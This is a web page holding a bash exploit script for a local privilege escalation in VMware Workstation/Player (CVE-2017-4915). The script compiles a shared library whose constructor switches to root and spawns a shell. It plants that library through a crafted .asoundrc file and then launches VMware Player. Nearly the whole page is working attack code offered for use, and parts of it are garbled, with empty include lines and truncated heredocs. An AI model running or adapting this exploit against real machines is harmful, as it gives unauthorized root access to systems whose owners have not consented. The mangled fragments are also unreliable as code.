VMware Workstation/Player

#!/bin/bash
################################################################################
# VMware Workstation Local Privilege Escalation exploit (CVE-2017-4915)        #
#  - https://www.vmware.com/security/advisories/VMSA-2017-0009.html            #
#  - https://www.exploit-db.com/exploits/42045/                                #
#                                                                              #
# Affects:                                                                     #
#  - VMware Workstation Player < = 12.5.5                                       #
#  - VMware Workstation Pro  "$VM_DIR/$RAND_STR.c" < <EOL
#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
extern char *program_invocation_short_name;
__attribute__((constructor)) void run(void) {
  uid_t ruid, euid, suid;
  if (getresuid(&ruid, &euid, &suid))
    err(1, "getresuid");
  printf("[*] Current UIDs: %d %d %dn", ruid, euid, suid);
  if (ruid == 0 || euid == 0 || suid == 0) {
    if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
      err(1, "setresxid");
    printf("switched to root UID and GID");
    system("/bin/bash");
    _exit(0);
  }
}
EOL

echo "[*] Compiling $VM_DIR/$RAND_STR.c"

$GCC -shared -o "$VM_DIR/$RAND_STR.so" "$VM_DIR/$RAND_STR.c" -fPIC -Wall -ldl -std=gnu99

if [ $? -ne 0 ] ; then
  echo "[-] Compilation failed"
  exit 1
fi

echo "[*] Removing $VM_DIR/$RAND_STR.c"
rm "$VM_DIR/$RAND_STR.c"

echo "[*] Writing $HOME/.asoundrc"
  lib "$VM_DIR/$RAND_STR.so"
  func "conf_pulse_hook_load_if_running"
}
EOL

echo "[*] Writing $VM_DIR/$RAND_STR.vmx"

cat > "$VM_DIR/$RAND_STR.vmx" < > "$HOME/.vmware/preferences"
  fi
else
  echo '.encoding = "UTF8"' > "$HOME/.vmware/preferences"
  echo 'pref.vmplayer.firstRunDismissedVersion = "999"' >> "$HOME/.vmware/preferences"
  echo 'hints.hideAll = "TRUE"' >> "$HOME/.vmware/preferences"
fi

echo "[*] Launching VMware Player..."
$VM_PLAYER "$VM_DIR/$RAND_STR.vmx"

echo "[*] Removing $HOME/.asoundrc"
rm "$HOME/.asoundrc"

echo "[!] Remove $VM_DIR when you're done"
rmdir "$VM_DIR"

################################################################################
# EOF
            

Comments are closed.